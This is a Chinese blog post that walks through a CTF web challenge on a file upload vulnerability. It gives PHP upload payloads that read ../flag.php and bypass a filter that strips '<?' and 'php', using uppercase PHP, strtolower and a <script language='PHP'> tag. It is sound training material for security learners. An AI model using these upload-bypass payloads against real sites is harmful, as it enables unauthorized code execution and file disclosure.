美文网首页
CTF || [“百度杯”CTF比赛 九月场]Upload

CTF || [“百度杯”CTF比赛 九月场]Upload

作者: mirrorr | 来源:发表于2018-06-22 23:25 被阅读0次

    题目内容:想怎么传就怎么传,就是这么任性。tips:flag在flag.php中

    文件上传漏洞

    尝试上传一个pdf文件,页面显示上传成功。查看网页源代码:
    <a href="u/2014WR016803.pdf">上传成功!</a>
    可以看到上传的文件在u目录中,需返回上一级目录../flag.php

    尝试上传一个php文件读取flag。php文件参考http://www.w3school.com.cn/php/php_file_open.asp

    <?php
    $myfile = fopen("../flag.php", "r") or die("Unable to open file!");
    echo fread($myfile,filesize("../flag.php"));
    fclose($myfile);
    ?>
    

    上传后显示上传成功,注意php文件命名不能包含<?,否则不会被上传,不显示上传成功。
    打开上传的文件
    $myfile = fopen("../flag.", "r") or die("Unable to open file!"); echo fread($myfile,filesize("../flag.")); fclose($myfile); ?>
    过滤了文件开头的<?php和flag.php中的php

    尝试用大写绕过
    上传

    <?PHP
    $myfile = fopen("../flag.".strtolower("PHP"), "r") or die("Unable to open file!");//strtolower将大写PHP变为小写php
    echo fread($myfile,filesize("../flag.".strtolower("PHP")));
    fclose($myfile);
    ?>
    

    打开上传的文件
    PHP $myfile = fopen("../flag.".strtolower("PHP"), "r") or die("Unable to open file!"); echo fread($myfile,filesize("../flag.".strtolower("PHP"))); fclose($myfile); ?>
    过滤了<?,但是没有过滤PHP

    尝试用<script language="PHP">绕过
    上传

    <script language="PHP">
    $myfile = fopen("../flag.".strtolower("PHP"), "r") or die("Unable to open file!");
    echo fread($myfile,filesize("../flag.".strtolower("PHP")));
    fclose($myfile);
    </script>
    

    打开上传的文件,然后查看网页源代码,得到flag

    参考
    https://www.ichunqiu.com/writeup/detail/925
    https://www.ichunqiu.com/writeup/detail/1185
    https://www.ichunqiu.com/writeup/detail/723

    相关文章

      网友评论

          本文标题:CTF || [“百度杯”CTF比赛 九月场]Upload

          本文链接:https://www.haomeiwen.com/subject/xjglyftx.html